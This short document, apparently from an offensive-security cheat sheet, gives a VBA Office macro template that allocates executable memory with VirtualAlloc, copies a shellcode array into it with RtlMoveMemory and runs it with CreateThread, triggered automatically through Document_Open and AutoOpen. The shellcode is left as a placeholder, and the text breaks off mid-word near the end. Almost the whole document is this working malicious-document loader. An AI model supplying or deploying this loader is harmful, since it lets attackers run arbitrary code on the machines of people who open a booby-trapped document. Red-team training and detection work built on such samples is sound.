Shellcode Execution

This is a simple implementation of a shellcode execution which uses VirtualAlloc, CreateThread, and RtlMoveMemory to execute shellcode.

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes
As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As
LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As
LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As
Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As
LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
 Dim buf As Variant
 Dim addr As LongPtr
 Dim counter As Long
 Dim data As Long
 Dim res As Long

 buf = Array(shellcode array)

 addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

 For counter = LBound(buf) To UBound(buf)
  data = buf(counter)
  res = RtlMoveMemory(addr + counter, data, 1)
 Next counter

 res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
 MyMacro
 
End Sub
Sub AutoOpen()
 MyMacr

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